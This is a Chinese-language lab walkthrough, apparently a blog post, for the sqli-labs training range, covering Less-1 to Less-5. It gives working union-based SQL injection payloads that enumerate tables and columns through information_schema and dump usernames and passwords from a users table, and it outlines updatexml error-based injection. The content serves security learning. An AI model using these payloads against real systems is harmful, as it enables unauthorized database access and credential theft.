sql-labs靶场

一、靶场搭建

将压缩包放置根目录下,找到sqil-connections并打开db-creds.inc

二、靶场通关

Less-1

判断sql语句是字符型还是数值型

输入?id=1'      报错

输入?id=1' --+     正常回显(--+为注释符)

union联合注入

先判断后台数据库表中的列数,取三或三以内的值时,不报错;超过三之后就报错;说明表有三列

?id=1' order by 3 --+

通过union查询爆出页面中显示字段的位置,发现2和3列分别会显示在name和password上,想要执行union后面的语句,前面必须让其执行错误,因此将1改为-1

?id=-1' union select 1,2,3 --+

通过mysql函数获得数据库及其版本号

通过group_concat函数爆表名;

information_schema.tables表示元数据下的tables表

where+条件

group_concat(table_name)表示将查询到的结果连接起来

payload的意思是:查询information)_schema数据库下的tables表且tables_schema字段内容是security的所有table_name的内容

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

我们发现security库中有四个表,users表中有可能存放用户登陆的账号和密码

从元数据库中爆users表的字段名,发现users表的三个字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columas where table_name='users' --+

通过group_concat函数进行拼接;其中0x7e是波浪号用来分割username和password的数据

?id=-1' union select 1,2,group_concat(username,0x7e,password) from users --+

Less-2

通过单引号测试发现是数值型

和第一关同理

Less-3

通过单引号注入的错误回显,发现后台数据通过')来闭合

剩下的流程同理

Less-4

通过反斜杠注入的错误回显,发现通过")闭合

其余的同理

Less-5

第五关虽然是字符型,但是和前面四关不一样,因为页面只显示请求的对错,这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。

如果数据只有对错页面显示,我们可以选择报错注入

和上面一样判断出为字符型注入,且字段数3

通过updatexm报错注入得到数据库名称

通过concat函数,得到所有表名

获取列名

构造查询语句,获取第一个用户名

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值